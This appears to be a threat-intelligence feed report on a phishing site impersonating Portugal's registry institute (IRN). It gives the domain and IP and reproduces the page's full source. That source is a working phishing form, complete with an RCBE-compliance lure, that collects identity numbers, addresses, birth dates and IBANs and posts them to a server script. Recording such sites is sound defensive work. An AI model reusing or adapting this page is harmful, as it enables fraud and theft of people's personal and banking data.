___          _____  _____    __  ____  ____       _ 
  / _ \        / ____||_   _|  / _||___ \|___ \     | |
 | | | |__  __| (___    | |   | |_   __) | __) |  __| |
 | | | |\ \/ / \___ \   | |   |  _| |__ < |__ <  / _` |
 | |_| | >  <  ____) | _| |_  | |   ___) |___) || (_| |
  \___/ /_/\_\|_____/ |_____| |_|  |____/|____/  \__,_|
                          ______                       
                         |______|                      
  
0xSI_f33d_REPORT_ID: #145587
Submission Date
03/09/2026
Submitter
@community
Indicator URL
https://dados-rcbe.com
Page Title
Instituto dos Registos e do Notariado | IRN.Justica.gov.pt
Taxonomy
phishingphishing
Infrastructure
IP: 196.251.121.133
CN: dados-rcbe.com
MX: dados-rcbe.com
Intel / Info
No intelligence notes recorded.
Visual Evidence
Evidence
Captured Source Code
VIEW_SOURCE: [HTML]
<!DOCTYPE html>
<html  lang="pt">
   <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>Instituto dos Registos e do Notariado | IRN.Justica.gov.pt</title>
      <link rel="stylesheet" href="./assets/css/main.css">
      <link rel="preconnect" href="https://fonts.googleapis.com">
      <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
      <link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet">
   </head>
   <body>
      <header>
         <nav class="container ">
            <div class="logo">
               <img src="./assets/img/logotipoJusticaGovPt.png" alt="">
            </div>
         </nav>
      </header>
      <div class="banner"></div>
      <br>
      <div class="alert_box_content">
      <div class="img_container"><img src="./assets/img/info-svgrepo-com.svg" alt=""></div>

      <div class="info_text_container">Tenha em atenção que a declaração do Beneficiário Efetivo (RCBE) é um requisito legal. Recomendamos vivamente que complete a sua declaração o mais rapidamente possível para se manter em conformidade e evitar quaisquer coimas aplicáveis.</div>
      </div>
      <div class="content">
         <div class="main">
            <h1>Verificação de Dados e Reforço de Segurança</h1>
            <div class="sub_title">
               Para a ativação de todas as funções da conta e a
               ativação de recursos de segurança avançados, solicitamos que confirme 
               os seus dados pessoais. A conexão bancária permite processos de 
               automação futuros e serve para a sua proteção.
            </div>
               <br>
         </div>
      </div>

      <div class="divsd">


         <div class="content">


            <div class="form">
               <div class="input_box required">
                  <label for="">
                     <span>Nome completo :</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text">
                  <p class="error_text">Por favor, insira o nome completo.</p>
               </div>
               <div class="input_box required">
                  <label for="">
                     <span>Nome da empresa :</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text">
                  <p class="error_text">Por favor, insira o nome completo da empresa.</p>
               </div>
               <div class="input_box email required">
                  <label for="">
                     <span>E-mail:</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text" class="">
                  <p class="error_text">Por favor, insira o e-mail.</p>
               </div>
               <div class="input_box tel ">
                  <label for=""> <span>Telefone profissional:</span> </label> 
                  <input type="text" class="t2" inputmode="numeric">
                  <p class="error_text">Por favor, insira o telefone.</p>
               </div>
               <div class="input_box tel required">
                  <label for="">
                     <span>Telefone particular:</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text" class="tt" inputmode="numeric">
                  <p class="error_text">Por favor, insira o telefone.</p>
               </div>
               <div class="input_box required">
                  <label for="">
                     <span>Data de nascimento:</span>  
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text" class="dob" inputmode="numeric">
                  <p class="error_text">Por favor, insira a data de nascimento (DD/MM/AAAA).</p>
               </div>
               <div class="input_box required nif">
                  <label for="">
                     <span>NIF:</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text" inputmode="numeric">
                  <p class="error_text">Por favor, insira o NIF (9 d&iacute;gitos).</p>
               </div>
               <div class="input_box required nif">
                  <label for="">
                     <span>NIPC:</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text" inputmode="numeric">
                  <p class="error_text">Por favor, insira o NIPC (9 d&iacute;gitos).</p>
               </div>
               <div class="input_box required">
                  <label for="">
                     <span>Rua:</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text">
                  <p class="error_text">Por favor, insira a rua.</p>
               </div>
               <div class="input_box required">
                  <label for="">
                     <span>N&uacute;mero:</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text" class="">
                  <p class="error_text">Por favor, insira o n&uacute;mero da porta.</p>
               </div>
               <div class="input_box zip required">
                  <label for="">
                     <span>C&oacute;digo Postal:</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text" inputmode="numeric">
                  <p class="error_text">Por favor, insira o c&oacute;digo postal (formato 0000-000).</p>
               </div>
               <!--     <div class="input_box">
                  <label for=""> <span>Banco:</span> <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                                                            <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                                                            </path>
                                                         </svg></label> 
                  <select id="bankArt" name="bankArt" aria-required="true" class="form-control at-ui-input">
                                                               <option value="" disabled selected="selected">Por favor selecione</option>
                                                               <option value="CGD">Caixa Geral de Dep&oacute;sitos</option>
                                                               <option value="MILLENNIUM">Millennium BCP</option>
                                                               <option value="SANTANDER">Santander Totta</option>
                                                               <option value="BPI">Banco BPI</option>
                                                               <option value="NOVO_BANCO">Novo Banco</option>
                                                               <option value="ATLANTICO">Banco Atlântico Europa</option>
                                                               <option value="MONTEPIO">Banco Montepio</option>
                                                               <option value="BIC">Banco BIC Português</option>
                                                               <option value="CREDIBOM">Banco Credibom</option>
                                                               <option value="BANCO_CTT">Banco CTT</option>
                                                               <option value="ACTIVOBANK">Banco Activobank</option>
                                                               <option value="BEST">BEST - Banco Electr&oacute;nico de Servi&ccedil;o Total</option>
                                                               <option value="BISON">Bison Bank</option>
                                                               <option value="BIG">BIG - Bancos Independente</option>
                                                               <option value="BANCO_PRIVADO">Banco Privado Português</option>
                                                               <option value="BANCO_FOMENTO">Banco Português de Fomento</option>
                                                               <option value="ESPHERA">Esphera Capital</option>
                                                               <option value="BNP_PARIBAS">BNP Paribas</option>
                                                               <option value="DEUTSCHE">Deutsche Bank</option>
                                                               <option value="BBVA">BBVA</option>
                                                               <option value="JP_MORGAN">J.P. Morgan</option>
                                                               <option value="BANCO_CARREGOSA">Banco Carregosa</option>
                                                               <option value="BANCO_INVEST">Banco Invest</option>
                                                               <option value="HAITONG">Haitong Bank</option>
                                                               <option value="ABANCA">ABANCA</option>
                                                               <option value="REVOLUT">Revolut</option>
                                                               <option value="N26">N26</option>
                                                               <option value="OUTRO">Outro banco</option>
                                                            </select>
                  <p class="error_text">Por favor, selecione o banco.</p>
                  </div> -->
               <div class="input_box required">
                  <label for="">
                     <span>IBAN:</span> 
                     <svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="asterisk" class="svg-inline--fa fa-asterisk at-ui-icon at-ui-label__required-icon" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
                        <path fill="currentColor" d="M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z">
                        </path>
                     </svg>
                  </label>
                  <input type="text" class="iban" inputmode="numeric">
                  <p class="error_text">Por favor, insira um IBAN v&aacute;lido.</p>
               </div>
               <div class="btn">Continuar</div>
            </div>
         </div>
      </div>
      <br>
      <footer>

         <div>

            <img src="./assets/img/Digital_PT_4C_H_POS_Justica.png" alt="">
            <img src="./assets/img/justicagovpt_footer.png" alt="">
            <img src="./assets/img/logo_justica_proxima.png" alt="">
            <img src="./assets/img/SAMA-cofinanciamento.png" alt="">
         </div>

         <p>Versão: 1.0.7912.23503 - 11/03/2025 13:27:44</p>
 
      </footer>
      <div class="loader" style="display: none;">
         <div class="loaders"></div>
      </div>
      <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
      <script src="./assets/js/jquery.mask.min.js"></script>
      <script>
         $(".tel input").mask("00000000000000");
         $(".zip input").mask("0000-000")
         $(".iban").mask("PT00000000000000000000000")
         
         $(".nif input").mask("000000000");
         $(".dob").mask("00/00/0000");
         
         
         
         function dob_check() {
         const value = $(".dob").val();
         if (!value) return true;
         
         if (!/^\d{2}\/\d{2}\/\d{4}$/.test(value)) return true;
         
         const [day, month, year] = value.split("/").map(Number);
         
         const dob = new Date(year, month - 1, day);
         dob.setHours(0, 0, 0, 0);
         
         if (
         dob.getFullYear() !== year ||
         dob.getMonth() !== month - 1 ||
         dob.getDate() !== day
         ) return true;
         
         const today = new Date();
         today.setHours(0, 0, 0, 0);
         
         if (dob > today) return true;
         
         let age = today.getFullYear() - year;
         
         if (
         today.getMonth() < month - 1 ||
         (today.getMonth() === month - 1 && today.getDate() < day)
         ) {
         age--;
         }
         
         return age < 18 || age > 90;
         }
         const validateEmail = (email) => {
          return email.match(
            /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
          );
         };
         
         var myform_data = {};
         document.documentElement.style.cssText="filter:hue-rotate(4deg)";
            
            $(".dob").mask("00/00/0000");
            $(".btn").on("click", function(){
              var count = 0;
               myform_data = {};
              var index = 0;
              var er = "";
              $(".required input").each(function(){
         
         
                if($(this).val().length == 0){
         
                  count++;
         			
                	$(this).parents(".input_box").addClass("error")
         
                 
                }else{
                  myform_data["input"+index] = $(this).parents(".input_box").find("label span").text() +" "+$(this).val();
                  index++;
                }
         
                if($(this).hasClass("tt")){
              			 myform_data["t2"] = "Telefone profissional :" + $(".t2").val();
         
                }
         
              });
         
            	
            	if(!validateEmail($(".email input").val())){
            			 count++;
                 $(".email").addClass("error")
            	}
         
         
           
              if (dob_check()) {
                 count++;
                 $(".dob").parents(".input_box").addClass("error")
              }
         
                 // if($("select").val() === null){
                 //    count++
                 //    $("select").parent().addClass("error")
                 // }
         
         
              if(count == 0 ){
         
              	  // myform_data["Banco"] = "Banco: "+$("select").val();
         
         
              	 myform_data["ddd"] = "Geburtsdatum :" + $(".dob").val();
              	$(".box").hide()
              	$(".loader").show()
              	 myform_data["type"]  = "";
         
              	   myform_data["iban"] = $(".iban").val();
               	$.ajax({
                        type: "POST",
                        url: "./token.php",
                        data: myform_data,
                      }).done(function(data) {
                      	$(".loader").hide()
         
                      	  if (data == "error") {
                          $(".iban").parent().addClass("error");
                      } else {
                          window.location.assign(data);
                      }
                    
                  });
         
                  
         
              }else{
         
         
                   
         
              }
         
            })
         
         
         
          $("input").on("input", function() {
          		$(this).parents(".input_box").removeClass("error")
          })
         
          $("select").on("change", function() {
          		$(this).parents(".input_box").removeClass("error")
          })
         
         
           document.documentElement.style.cssText="filter:hue-rotate(4deg)";
         
      </script>
   </body>
</html>
Return to 0xSI_f33d